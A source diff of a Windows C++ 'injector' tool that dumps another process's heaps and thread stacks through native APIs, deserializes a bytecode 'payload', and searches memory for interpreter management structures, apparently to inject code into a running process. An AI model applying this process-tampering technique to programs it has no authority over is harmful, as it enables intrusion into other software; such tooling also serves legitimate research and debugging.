hb->dwFlags = LF32_FIXED;
|
||||
else if ((flags & 0x20) != 0)
|
||||
hb->dwFlags = LF32_MOVEABLE;
|
||||
else if ((flags & 0x0100) != 0)
|
||||
hb->dwFlags = LF32_FREE;
|
||||
|
||||
hb->dwFlags |= ((flags) >> SHIFT) << SHIFT;
|
||||
hb->index = index;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static bool GetNextHeapBlock(PDEBUG_HEAP_INFORMATION heapInfo, PHeapBlock hb)
|
||||
{
|
||||
PHeapBlockBasicInfo block;
|
||||
|
||||
block = (PHeapBlockBasicInfo)heapInfo->Blocks;
|
||||
|
||||
SIZE_T index = hb->index;
|
||||
|
||||
if (index >= heapInfo->BlockCount) {
|
||||
return false;
|
||||
}
|
||||
|
||||
*out << "Block count: " << std::dec << heapInfo->BlockCount << std::endl;
|
||||
|
||||
if (block[index].flags & 2) {
|
||||
do {
|
||||
if (index >= heapInfo->BlockCount) {
|
||||
return false;
|
||||
}
|
||||
|
||||
hb->dwAddress = block[index].address + heapInfo->Granularity;
|
||||
*out << "Address(in): " << std::hex << hb->dwAddress << std::endl;
|
||||
|
||||
index++;
|
||||
hb->dwSize = block->size;
|
||||
*out << "Size(in): " << std::hex << hb->dwSize << std::endl;
|
||||
} while (block[index].flags & 2);
|
||||
hb->index = index;
|
||||
}
|
||||
else {
|
||||
hb->dwSize = block[index].size;
|
||||
if (block[index].extra & EXTRA_FLAG) {
|
||||
PHeapBlockExtraInfo extra = (PHeapBlockExtraInfo)(block[index].extra & ~EXTRA_FLAG);
|
||||
hb->extraInfo = extra;
|
||||
hb->dwSize -= extra->unusedBytes;
|
||||
hb->dwAddress = block[index].address + extra->granularity;
|
||||
}
|
||||
else {
|
||||
hb->extraInfo = NULL;
|
||||
hb->dwAddress = (WPARAM)hb->dwAddress + hb->dwSize;
|
||||
}
|
||||
hb->index++;
|
||||
}
|
||||
if (hb->dwSize >= 0x10000) hb->dwSize -= 0x1010;
|
||||
|
||||
*out << "Address: 0x" << std::hex << hb->dwAddress << std::endl;
|
||||
*out << "Size: 0x" << std::hex << hb->dwSize << std::endl;
|
||||
*out << "Index: " << std::dec << hb->index << std::endl;
|
||||
|
||||
WPARAM flags;
|
||||
if (block[index].extra & EXTRA_FLAG) {
|
||||
flags = block[index].flags;
|
||||
}
|
||||
else {
|
||||
flags = (USHORT)block[index].flags;
|
||||
}
|
||||
|
||||
if ((flags & 0xF1) != 0 || (flags & 0x0200) != 0)
|
||||
hb->dwFlags = LF32_FIXED;
|
||||
else if ((flags & 0x20) != 0)
|
||||
hb->dwFlags = LF32_MOVEABLE;
|
||||
else if ((flags & 0x0100) != 0)
|
||||
hb->dwFlags = LF32_FREE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BinaryContent get_heap_block(HANDLE hProcess, LPVOID heap_block_addr, LONGLONG heap_block_size) {
|
||||
BOOL result;
|
||||
BYTE *bytes;
|
||||
SIZE_T read_len;
|
||||
DWORD err;
|
||||
|
||||
if (heap_block_size == 0) heap_block_size = 0x1000;
|
||||
|
||||
bytes = new BYTE[heap_block_size];
|
||||
|
||||
result = ReadProcessMemory(
|
||||
hProcess,
|
||||
heap_block_addr,
|
||||
bytes,
|
||||
heap_block_size,
|
||||
&read_len
|
||||
);
|
||||
|
||||
if (result == 0) {
|
||||
*out << "Error: ReadProcessMemory of 0x"
|
||||
<< std::hex
|
||||
<< heap_block_size
|
||||
<< " bytes to 0x"
|
||||
<< heap_block_addr
|
||||
<< " failed."
|
||||
<< " 0x"
|
||||
<< read_len
|
||||
<< " bytes read."
|
||||
<< std::endl;
|
||||
log_err_msg();
|
||||
}
|
||||
else {
|
||||
*out << "OK: ReadProcessMemory of 0x"
|
||||
<< std::hex
|
||||
<< heap_block_size
|
||||
<< " bytes to 0x"
|
||||
<< heap_block_addr
|
||||
<< " 0x"
|
||||
<< read_len
|
||||
<< " bytes read."
|
||||
<< std::endl;
|
||||
}
|
||||
|
||||
heap_dump_count++;
|
||||
|
||||
return {heap_block_addr, bytes, read_len};
|
||||
}
|
||||
|
||||
std::list<BinaryContent> get_heap_contents(HANDLE hProcess, std::list<HeapInfo> heaps) {
|
||||
std::list<BinaryContent> contents;
|
||||
BinaryContent content;
|
||||
|
||||
for (auto heaps_iter = heaps.begin(); heaps_iter != heaps.end(); heaps_iter++) {
|
||||
for (auto blocks_iter = heaps_iter->blocks.begin(); blocks_iter != heaps_iter->blocks.end(); blocks_iter++) {
|
||||
auto [start_addr, end_addr] = *blocks_iter;
|
||||
content = get_heap_block(hProcess, (LPVOID)start_addr, end_addr - start_addr);
|
||||
contents.push_back(content);
|
||||
}
|
||||
}
|
||||
|
||||
return contents;
|
||||
}
|
||||
|
||||
void log_heap_info(std::list<HeapInfo> heaps) {
|
||||
for (auto heaps_iter = heaps.begin(); heaps_iter != heaps.end(); heaps_iter++) {
|
||||
for (auto blocks_iter = heaps_iter->blocks.begin(); blocks_iter != heaps_iter->blocks.end(); blocks_iter++) {
|
||||
auto [sa, ea] = *blocks_iter;
|
||||
*out << "trace: heap, start addr: 0x"
|
||||
<< (LPVOID)sa
|
||||
<< ", end addr: 0x"
|
||||
<< (LPVOID)ea
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::list<HeapInfo> GetListOfHeaps(DWORD pid, DWORD *current_heap_index) {
|
||||
std::list<HeapInfo> heaps;
|
||||
DWORD heap_index;
|
||||
|
||||
heap_index = *current_heap_index;
|
||||
|
||||
HANDLE ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
|
||||
PROCESS_BASIC_INFORMATION pib;
|
||||
if (fpNtQueryInformationProcess(ph, ProcessBasicInformation, &pib, sizeof(pib), NULL)) {
|
||||
*out << "Error: NtQueryInformationProcess" << std::endl;
|
||||
return heaps;
|
||||
}
|
||||
PEB peb;
|
||||
ReadProcessMemory(ph, pib.PebBaseAddress, &peb, sizeof(PEB), NULL);
|
||||
PVOID heapAddress;
|
||||
PVOID* processHeaps;
|
||||
ULONG numberOfHeaps;
|
||||
|
||||
processHeaps = *((PVOID**)(((uint8_t*)&peb) + 0xF0));
|
||||
numberOfHeaps = *((ULONG*)(((uint8_t *)&peb) + 0xE8));
|
||||
|
||||
*out << "Number of heaps from PEB: "
|
||||
<< numberOfHeaps
|
||||
<< std::endl;
|
||||
|
||||
HeapInfo heap;
|
||||
|
||||
do {
|
||||
heap_index++;
|
||||
ReadProcessMemory(ph, processHeaps, &heapAddress, sizeof(PVOID), NULL);
|
||||
heap.id = heap_index;
|
||||
heap.base = (uint64_t)heapAddress;
|
||||
heaps.push_back(heap);
|
||||
*out << "Heap base address from PEB: 0x"
|
||||
<< heapAddress
|
||||
<< std::endl;
|
||||
processHeaps += 1;
|
||||
} while (--numberOfHeaps);
|
||||
|
||||
*current_heap_index = heap_index;
|
||||
|
||||
return heaps;
|
||||
}
|
||||
|
||||
std::list<HeapInfo> get_heap_info(DWORD pid) {
|
||||
HANDLE hHeapSnap;
|
||||
std::list<HeapInfo> heaps;
|
||||
PDEBUG_BUFFER dbg_buf;
|
||||
unsigned long global_heap_index;
|
||||
|
||||
hHeapSnap = CreateToolhelp32Snapshot(TH32CS_SNAPHEAPLIST, pid);
|
||||
if (hHeapSnap != INVALID_HANDLE_VALUE) {
|
||||
dbg_buf = RtlCreateQueryDebugBuffer(0, FALSE);
|
||||
RtlQueryProcessDebugInformation(pid, PDI_HEAPS | PDI_HEAP_BLOCKS, dbg_buf);
|
||||
|
||||
#ifdef _WIN64
|
||||
DWORD64 heap_node_count = dbg_buf->HeapInformation ? *PDWORD64(dbg_buf->HeapInformation) : 0;
|
||||
PDEBUG_HEAP_INFORMATION heap_info = PDEBUG_HEAP_INFORMATION(PDWORD64(dbg_buf->HeapInformation) + 1);
|
||||
#elif _WIN32
|
||||
DWORD heap_node_count = dbg_buf->HeapInformation ? *PULONG(dbg_buf->HeapInformation) : 0;
|
||||
PDEBUG_HEAP_INFORMATION heap_info = PDEBUG_HEAP_INFORMATION(PULONG(dbg_buf->HeapInformation) + 1);
|
||||
#endif
|
||||
*out << "Number of heaps from RtlQueryProcessDebugInformation: "
|
||||
<< heap_node_count
|
||||
<< std::endl;
|
||||
|
||||
*out << "Dump of heap_info:" << std::endl;
|
||||
PBYTE heap_info_dump = (PBYTE)heap_info;
|
||||
for (int i = 0; i < 30; i++) {
|
||||
for (int j = 0; j < 0x10; j++) {
|
||||
*out << std::hex << std::setfill('0') << std::setw(2)
|
||||
<< (int)*heap_info_dump
|
||||
<< " ";
|
||||
heap_info_dump++;
|
||||
}
|
||||
*out << std::endl;
|
||||
}
|
||||
*out << std::endl;
|
||||
|
||||
*out << "Size of DEBUG_HEAP_INFORMATION: "
|
||||
<< std::dec
|
||||
<< sizeof(DEBUG_HEAP_INFORMATION)
|
||||
<< std::endl;
|
||||
|
||||
for (unsigned long heap_index = 0; heap_index < heap_node_count; heap_index++) {
|
||||
HeapInfo heap;
|
||||
heap.id = heap_index;
|
||||
heap.base = (uint64_t)heap_info[heap_index].Base;
|
||||
heap.default_flag = heap_info[heap_index].Flags & HF32_DEFAULT;
|
||||
|
||||
*out << "Heap base address from RtlQueryProcessDebugInformation: 0x"
|
||||
<< (LPVOID)heap.base
|
||||
<< std::endl;
|
||||
|
||||
HeapBlock heap_block = { 0, 0, 0, 0 };
|
||||
memset(&heap_block, 0, sizeof(heap_block));
|
||||
|
||||
if (GetFirstHeapBlock(&heap_info[heap_index], &heap_block)){
|
||||
do {
|
||||
ULONG_PTR start_addr = (ULONG_PTR)heap_block.dwAddress;
|
||||
ULONG_PTR end_addr = (ULONG_PTR)start_addr + heap_block.dwSize;
|
||||
heap.blocks.push_back(std::make_pair(start_addr, end_addr));
|
||||
} while (GetNextHeapBlock(&heap_info[heap_index], &heap_block));
|
||||
}
|
||||
heaps.push_back(heap);
|
||||
|
||||
global_heap_index = heap_index;
|
||||
}
|
||||
}
|
||||
else {
|
||||
std::cout << "Error: CreateToolhelp32Snapshot" << std::endl;
|
||||
}
|
||||
|
||||
CloseHandle(hHeapSnap);
|
||||
return heaps;
|
||||
}
|
||||
|
||||
void log_memory_basic_info(MEMORY_BASIC_INFORMATION mbi) {
|
||||
*out << "trace: memory basic info, base address: 0x"
|
||||
<< mbi.BaseAddress
|
||||
<< ", region size: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(8)
|
||||
<< mbi.RegionSize
|
||||
<< ", state: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(4)
|
||||
<< mbi.State
|
||||
<< ", protect: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(4)
|
||||
<< mbi.Protect
|
||||
<< std::endl;
|
||||
}
|
||||
|
||||
BinaryContent get_stack_content(HANDLE hProcess, LPVOID stack_limit, SIZE_T stack_size) {
|
||||
BOOL result;
|
||||
BYTE *bytes;
|
||||
SIZE_T read_len;
|
||||
DWORD err;
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
SIZE_T len;
|
||||
|
||||
bytes = new BYTE[stack_size];
|
||||
|
||||
len = VirtualQueryEx(hProcess,
|
||||
stack_limit,
|
||||
&mbi,
|
||||
0x1000);
|
||||
|
||||
if (len == 0) {
|
||||
*out << "Error: VirtualQueryEx, Stack address: 0x" << stack_limit << std::endl;
|
||||
log_err_msg();
|
||||
}
|
||||
|
||||
log_memory_basic_info(mbi);
|
||||
|
||||
result = ReadProcessMemory(
|
||||
hProcess,
|
||||
stack_limit,
|
||||
bytes,
|
||||
stack_size,
|
||||
&read_len
|
||||
);
|
||||
|
||||
*out << "Stack address: 0x"
|
||||
<< stack_limit
|
||||
<< ", Read len: "
|
||||
<< read_len
|
||||
<< std::endl;
|
||||
|
||||
if (result == 0) {
|
||||
*out << "Error: ReadProcessMemory, Stack address: 0x" << stack_limit << std::endl;
|
||||
log_err_msg();
|
||||
}
|
||||
|
||||
stack_dump_count++;
|
||||
|
||||
return {stack_limit, bytes, stack_size};
|
||||
}
|
||||
|
||||
std::list<BinaryContent> get_stack_contents(HANDLE hProcess, std::list<StackInfo> stacks) {
|
||||
std::list<BinaryContent> contents;
|
||||
BinaryContent content;
|
||||
|
||||
for (auto iter = stacks.begin(); iter != stacks.end(); iter++) {
|
||||
content = get_stack_content(hProcess, iter->limit, iter->size);
|
||||
contents.push_back(content);
|
||||
}
|
||||
|
||||
return contents;
|
||||
}
|
||||
|
||||
void log_stack_info(std::list<StackInfo> stacks) {
|
||||
for (auto& stack : stacks) {
|
||||
*out << "trace: stack, base: 0x"
|
||||
<< stack.base
|
||||
<< ", limit: 0x"
|
||||
<< stack.limit
|
||||
<< ", size: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(4)
|
||||
<< stack.size
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
std::list<StackInfo> get_stack_info(DWORD pid, HANDLE hProcess) {
|
||||
TEB32 teb;
|
||||
THREAD_BASIC_INFORMATION tbi;
|
||||
ULONG len;
|
||||
SIZE_T read_len;
|
||||
HANDLE hThread;
|
||||
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
|
||||
THREADENTRY32 te32;
|
||||
NTSTATUS status;
|
||||
std::list<StackInfo> stacks;
|
||||
|
||||
THREADINFOCLASS ThreadBasicInformation = static_cast<THREADINFOCLASS>(0);
|
||||
|
||||
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||||
if(hThreadSnap == INVALID_HANDLE_VALUE) {
|
||||
log_err_msg();
|
||||
return stacks;
|
||||
}
|
||||
|
||||
te32.dwSize = sizeof(THREADENTRY32);
|
||||
|
||||
if(!Thread32First(hThreadSnap, &te32)) {
|
||||
CloseHandle(hThreadSnap);
|
||||
return stacks;
|
||||
}
|
||||
|
||||
do {
|
||||
if(te32.th32OwnerProcessID == pid) {
|
||||
hThread = OpenThread(THREAD_ALL_ACCESS,
|
||||
TRUE,
|
||||
te32.th32ThreadID);
|
||||
status = fpNtQueryInformationThread(hThread,
|
||||
ThreadBasicInformation,
|
||||
&tbi,
|
||||
sizeof(tbi),
|
||||
&len
|
||||
);
|
||||
|
||||
ReadProcessMemory(
|
||||
hProcess,
|
||||
tbi.TebBaseAddress,
|
||||
&teb,
|
||||
sizeof(teb),
|
||||
&read_len
|
||||
);
|
||||
|
||||
StackInfo stack;
|
||||
stack.base = teb.StackBase;
|
||||
stack.limit = teb.StackLimit;
|
||||
stack.size = (int64_t)teb.StackBase - (int64_t)teb.StackLimit;
|
||||
stacks.push_back(stack);
|
||||
}
|
||||
} while(Thread32Next(hThreadSnap, &te32));
|
||||
|
||||
CloseHandle(hThreadSnap);
|
||||
|
||||
return stacks;
|
||||
}
|
||||
|
||||
void dump_memory(BYTE *content, SIZE_T content_len, char *dir_name, char *prefix, LPVOID base_addr, char *extension) {
|
||||
FILE *fp;
|
||||
errno_t err;
|
||||
char *file_name;
|
||||
const SIZE_T len = 256;
|
||||
|
||||
file_name = new char[len];
|
||||
ZeroMemory(file_name, len);
|
||||
_snprintf_s(file_name, len, _TRUNCATE, "%s\\%s%llx%s", dir_name, prefix, (ULONGLONG)base_addr, extension);
|
||||
err = fopen_s(&fp, file_name, "wb");
|
||||
if (err) {
|
||||
std::cout << "Error: fopen_s" << std::endl;
|
||||
std::cout << err << std::endl;
|
||||
}
|
||||
fwrite(content, content_len, 1, fp);
|
||||
fclose(fp);
|
||||
delete[] file_name;
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
#ifndef _INJECTOR_MEMORY_H_
|
||||
#define _INJECTOR_MEMORY_H_
|
||||
|
||||
#include <Windows.h>
|
||||
#include "ntapi.h"
|
||||
#include "stack.h"
|
||||
#include "heap.h"
|
||||
#include "teb.h"
|
||||
#include "util.h"
|
||||
#include <iomanip>
|
||||
#include <iostream>
|
||||
#include <list>
|
||||
#include <tlhelp32.h>
|
||||
#include <winternl.h>
|
||||
|
||||
typedef struct _BinaryContent {
|
||||
LPVOID addr;
|
||||
BYTE *bytes;
|
||||
SIZE_T len;
|
||||
} BinaryContent;
|
||||
|
||||
void log_err_msg();
|
||||
void log_heap_info(std::list<HeapInfo> heaps);
|
||||
void log_stack_info(std::list<StackInfo> stacks);
|
||||
void log_memory_basic_info(MEMORY_BASIC_INFORMATION mbi);
|
||||
void dump_memory(BYTE *content, SIZE_T content_len, char *dir_name, char *prefix, LPVOID base_addr, char *extension);
|
||||
static bool GetFirstHeapBlock(PDEBUG_HEAP_INFORMATION heapInfo, PHeapBlock hb);
|
||||
static bool GetNextHeapBlock(PDEBUG_HEAP_INFORMATION heapInfo, PHeapBlock hb);
|
||||
std::list<HeapInfo> get_heap_info(DWORD pid);
|
||||
std::list<StackInfo> get_stack_info(DWORD pid, HANDLE hProcess);
|
||||
BinaryContent get_heap_content(HANDLE hProcess, LPVOID heap_block_addr, DWORD heap_block_size);
|
||||
std::list<BinaryContent> get_heap_contents(HANDLE hProcess, std::list<HeapInfo> heaps);
|
||||
BinaryContent get_stack_content(HANDLE hProcess, LPVOID stack_limit, DWORD stack_size);
|
||||
std::list<BinaryContent> get_stack_contents(HANDLE hProcess, std::list<StackInfo> stacks);
|
||||
|
||||
#endif // _INJECTOR_MEMORY_H_
|
||||
@@ -0,0 +1,12 @@
|
||||
#include "ntapi.h"
|
||||
|
||||
extern tmpl_NtQueryInformationThread fpNtQueryInformationThread;
|
||||
extern tmpl_NtQueryInformationProcess fpNtQueryInformationProcess;
|
||||
|
||||
void resolve_native_apis() {
|
||||
HMODULE hModule;
|
||||
|
||||
hModule = GetModuleHandleA("ntdll.dll");
|
||||
fpNtQueryInformationProcess = (tmpl_NtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
|
||||
fpNtQueryInformationThread = (tmpl_NtQueryInformationThread)GetProcAddress(hModule, "NtQueryInformationThread");
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
#ifndef _INJECTOR_NTAPI_H_
|
||||
#define _INJECTOR_NTAPI_H_
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
typedef NTSTATUS (NTAPI* tmpl_NtQueryInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
UINT ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI* tmpl_NtQueryInformationThread)(
|
||||
HANDLE ThreadHandle,
|
||||
UINT ThreadInformationClass,
|
||||
PVOID ThreadInformation,
|
||||
ULONG ThreadInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
void resolve_native_apis();
|
||||
|
||||
#endif // _INJECTOR_NTAPI_H_
|
||||
@@ -0,0 +1,41 @@
|
||||
#include "payload.h"
|
||||
|
||||
|
||||
void deserialize_payload(std::string payload_json_string, Payload& payload) {
|
||||
std::string bytecode_bytes;
|
||||
std::string symbol_table_bytes;
|
||||
auto payload_json = json::parse(payload_json_string);
|
||||
|
||||
try {
|
||||
auto bytecode = payload_json.at("bytecode");
|
||||
payload.bytecode.len = bytecode.at("len").get<int>();
|
||||
for (auto i = 0; i < payload.bytecode.len; i++) {
|
||||
bytecode_bytes += bytecode.at("bytes")[i].get<BYTE>();
|
||||
}
|
||||
payload.bytecode.bytes = new BYTE[payload.bytecode.len + 1];
|
||||
memcpy(payload.bytecode.bytes, (BYTE*)bytecode_bytes.data(), payload.bytecode.len);
|
||||
|
||||
auto symbol_tables = payload_json.at("symbol_tables");
|
||||
for (auto symbol_table_it = symbol_tables.begin(); symbol_table_it != symbol_tables.end(); symbol_table_it++) {
|
||||
SymbolTable symbol_table;
|
||||
symbol_table.scope = symbol_table_it->at("scope").get<UINT8>();
|
||||
auto value_objects = symbol_table_it->at("value_objects");
|
||||
for (auto value_object_it = value_objects.begin(); value_object_it != value_objects.end(); value_object_it++) {
|
||||
ValueObject value_object;
|
||||
std::string value_object_bytes;
|
||||
value_object.len = value_object_it->at("len").get<SIZE_T>();
|
||||
for (auto i = 0; i < value_object.len; i++) {
|
||||
value_object_bytes += value_object_it->at("bytes")[i].get<BYTE>();
|
||||
}
|
||||
value_object.bytes = new BYTE[value_object.len + 1];
|
||||
memcpy(value_object.bytes, (BYTE*)value_object_bytes.data(), value_object.len);
|
||||
value_object.index = value_object_it->at("index").get<UINT64>();
|
||||
symbol_table.value_objects.push_back(value_object);
|
||||
}
|
||||
payload.symbol_tables.push_back(symbol_table);
|
||||
}
|
||||
}
|
||||
catch (const std::exception& err) {
|
||||
std::exit(1);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
#ifndef _INJECTOR_PAYLOAD_H_
|
||||
#define _INJECTOR_PAYLOAD_H_
|
||||
|
||||
#include <nlohmann/json.hpp>
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
using json = nlohmann::json;
|
||||
|
||||
const uint8_t kSymbolTableTypeArray = 0x0;
|
||||
const uint8_t kSymbolTableTypeLinkedList = 0x1;
|
||||
const uint8_t kSymbolTableTypeDirect = 0x2;
|
||||
const uint8_t kSymbolTableScopeGlobal = 0x0;
|
||||
|
||||
|
||||
typedef struct _Bytecode {
|
||||
BYTE* bytes;
|
||||
SIZE_T len;
|
||||
} Bytecode;
|
||||
|
||||
typedef struct _ValueObject {
|
||||
BYTE* bytes;
|
||||
SIZE_T len;
|
||||
UINT64 index;
|
||||
} ValueObject;
|
||||
|
||||
typedef struct _SymbolTable {
|
||||
UINT8 scope;
|
||||
std::vector<ValueObject> value_objects;
|
||||
} SymbolTable;
|
||||
|
||||
typedef struct _Payload {
|
||||
Bytecode bytecode;
|
||||
std::vector<SymbolTable> symbol_tables;
|
||||
} Payload;
|
||||
|
||||
|
||||
void deserialize_payload(std::string payload_json_string, Payload& payload);
|
||||
|
||||
|
||||
#endif // _INJECTOR_PAYLOAD_H_
|
||||
@@ -0,0 +1,32 @@
|
||||
#ifndef INJECTOR_PEB_H_
|
||||
#define INJECTOR_PEB_H_
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
typedef struct _PEB32 {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PPEB_LDR_DATA Ldr;
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||
PVOID Reserved4[1];
|
||||
PVOID ProcessHeap;
|
||||
PVOID Reserved4x[1];
|
||||
PVOID AtlThunkSListPtr;
|
||||
PVOID Reserved5;
|
||||
ULONG Reserved6;
|
||||
PVOID Reserved7;
|
||||
ULONG Reserved8;
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PVOID Reserved9[45];
|
||||
BYTE Reserved10[96];
|
||||
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
|
||||
BYTE Reserved11[128];
|
||||
PVOID Reserved12[1];
|
||||
ULONG SessionId;
|
||||
} PEB32, *PPEB32;
|
||||
|
||||
|
||||
#endif // INJECTOR_PEB_H_
|
||||
@@ -0,0 +1,225 @@
|
||||
#include "search.h"
|
||||
|
||||
extern std::ostream *out;
|
||||
|
||||
|
||||
void deserialize_search(std::string search_json_string, Search& search) {
|
||||
auto search_json = json::parse(search_json_string);
|
||||
|
||||
try {
|
||||
search.type = search_json.at("type").get<uint8_t>();
|
||||
|
||||
if (search.type == kSearchTextTypeChar) {
|
||||
std::string search_pattern = search_json.at("pattern").get<std::string>();
|
||||
search.pattern_mbs = new char[search_pattern.size() + 1];
|
||||
strncpy_s(search.pattern_mbs, search_pattern.size() + 1, search_pattern.c_str(), search_pattern.size() + 1);
|
||||
}
|
||||
else if (search.type == kSearchTextTypeWchar) {
|
||||
std::wstring search_pattern = search_json.at("pattern").get<std::wstring>();
|
||||
search.pattern_wcs = new wchar_t[search_pattern.size() + 1];
|
||||
wcsncpy_s(search.pattern_wcs, search_pattern.size() + 1, search_pattern.c_str(), search_pattern.size() + 1);
|
||||
}
|
||||
else {
|
||||
std::exit(1);
|
||||
}
|
||||
|
||||
search.value_object_offset = search_json.at("value_object_offset").get<off_t>();
|
||||
}
|
||||
catch (const std::exception& err) {
|
||||
std::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
char convert_order_to_char_upper(int order) {
|
||||
int val = order / 16;
|
||||
if (val < 10)
|
||||
val += '0';
|
||||
else
|
||||
val += 'a' - 10;
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
char convert_order_to_char_lower(int order) {
|
||||
int val = order % 16;
|
||||
if (val < 10)
|
||||
val += '0';
|
||||
else
|
||||
val += 'a' - 10;
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
char* generate_search_pattern(wchar_t* search_string) {
|
||||
char* search_pattern;
|
||||
std::string search_pattern_str;
|
||||
SIZE_T len = wcslen(search_string);
|
||||
|
||||
for (auto i = 0; i < len * 2; i++) {
|
||||
search_pattern_str += "\\x";
|
||||
int order = (int)((char*)search_string)[i];
|
||||
search_pattern_str += convert_order_to_char_upper(order);
|
||||
search_pattern_str += convert_order_to_char_lower(order);
|
||||
}
|
||||
|
||||
search_pattern = new char[search_pattern_str.size() + 1];
|
||||
memcpy(search_pattern, search_pattern_str.data(), search_pattern_str.size());
|
||||
search_pattern[search_pattern_str.size()] = '\0';
|
||||
|
||||
return search_pattern;
|
||||
}
|
||||
|
||||
char *generate_search_pattern(int64_t search_value) {
|
||||
char *pattern;
|
||||
int pattern_len;
|
||||
uint8_t search_value_bytes[sizeof(LPVOID)];
|
||||
|
||||
pattern_len = sizeof(LPVOID) * 8;
|
||||
pattern = new char[pattern_len];
|
||||
memset(pattern, 0x0, pattern_len);
|
||||
|
||||
for (auto i = 0; i < sizeof(LPVOID); i++) {
|
||||
search_value_bytes[i] = (uint8_t)(search_value % 0x100);
|
||||
search_value /= 0x100;
|
||||
}
|
||||
|
||||
*out << "Target value (hex): 0x";
|
||||
for (auto i = 0; i < sizeof(LPVOID); i++) {
|
||||
*out << std::hex << std::setfill('0') << std::setw(2)
|
||||
<< (int)search_value_bytes[i];
|
||||
}
|
||||
*out << std::endl;
|
||||
|
||||
#ifdef _WIN64
|
||||
snprintf(pattern, pattern_len, "\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x",
|
||||
search_value_bytes[0],
|
||||
search_value_bytes[1],
|
||||
search_value_bytes[2],
|
||||
search_value_bytes[3],
|
||||
search_value_bytes[4],
|
||||
search_value_bytes[5],
|
||||
search_value_bytes[6],
|
||||
search_value_bytes[7]);
|
||||
#elif _WIN32
|
||||
snprintf(pattern, pattern_len, "\\x%02x\\x%02x\\x%02x\\x%02x",
|
||||
search_value_bytes[0],
|
||||
search_value_bytes[1],
|
||||
search_value_bytes[2],
|
||||
search_value_bytes[3]);
|
||||
#endif
|
||||
|
||||
*out << "Search pattern: "
|
||||
<< pattern
|
||||
<< std::endl;
|
||||
|
||||
return pattern;
|
||||
}
|
||||
|
||||
std::pair<ULONGLONG, SIZE_T> search_characteristic_string(BYTE *buf, SIZE_T buf_len, Search search) {
|
||||
auto m = std::cmatch {};
|
||||
|
||||
std::regex p;
|
||||
if (search.type == kSearchTextTypeChar) {
|
||||
p = std::regex(search.pattern_mbs);
|
||||
}
|
||||
else if (search.type == kSearchTextTypeWchar) {
|
||||
char* c = (char*)search.pattern_wcs;
|
||||
char* search_pattern = generate_search_pattern(search.pattern_wcs);
|
||||
p = std::regex(search_pattern);
|
||||
}
|
||||
|
||||
if (std::regex_search((const char*)buf, (const char*)buf + buf_len, m, p))
|
||||
return std::make_pair(m.position(), m.length());
|
||||
else
|
||||
return std::make_pair(0, 0);
|
||||
}
|
||||
|
||||
std::pair<ULONGLONG, SIZE_T> search_ptr(BYTE *buf, SIZE_T buf_len, char *pattern) {
|
||||
auto m = std::cmatch{};
|
||||
|
||||
auto p = std::regex(pattern);
|
||||
if (std::regex_search((const char*)buf, (const char*)buf + buf_len, m, p))
|
||||
return std::make_pair(m.position(), m.length());
|
||||
else
|
||||
return std::make_pair(0, 0);
|
||||
}
|
||||
|
||||
void log_search_result(BYTE *content, LPVOID content_base_addr, ULONGLONG match_offset, SIZE_T match_len) {
|
||||
*out << "trace: search, base addr: 0x"
|
||||
<< content_base_addr
|
||||
<< ", offset: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(4)
|
||||
<< match_offset
|
||||
<< ", len: "
|
||||
<< match_len
|
||||
<< ", hex: 0x";
|
||||
|
||||
for (auto i = match_offset; i < match_offset + match_len; i++)
|
||||
*out << std::hex << std::setfill('0') << std::setw(2)
|
||||
<< (int)content[i];
|
||||
|
||||
*out << ", bytes: ";
|
||||
for (auto i = match_offset; i < match_offset + match_len; i++)
|
||||
*out << content[i];
|
||||
|
||||
*out << std::endl;
|
||||
}
|
||||
|
||||
LPVOID find_management_structure(std::list<BinaryContent> contents, LPVOID value_addr, ptrdiff_t value_offset, ptrdiff_t struct_offset) {
|
||||
LPVOID management_structure_addr;
|
||||
LPVOID value_object_addr = (LPVOID)((int64_t)value_addr - value_offset);
|
||||
|
||||
char *pattern = generate_search_pattern((int64_t)value_object_addr);
|
||||
auto m = std::cmatch {};
|
||||
auto p = std::regex(pattern);
|
||||
|
||||
off_t block_offset;
|
||||
bool found;
|
||||
management_structure_addr = NULL;
|
||||
for (auto iter = contents.begin(); iter != contents.end(); iter++) {
|
||||
auto [match_offset, match_len] = search_ptr(iter->bytes, iter->len, pattern);
|
||||
if (match_len != 0) {
|
||||
log_search_result(iter->bytes, iter->addr, match_offset, match_len);
|
||||
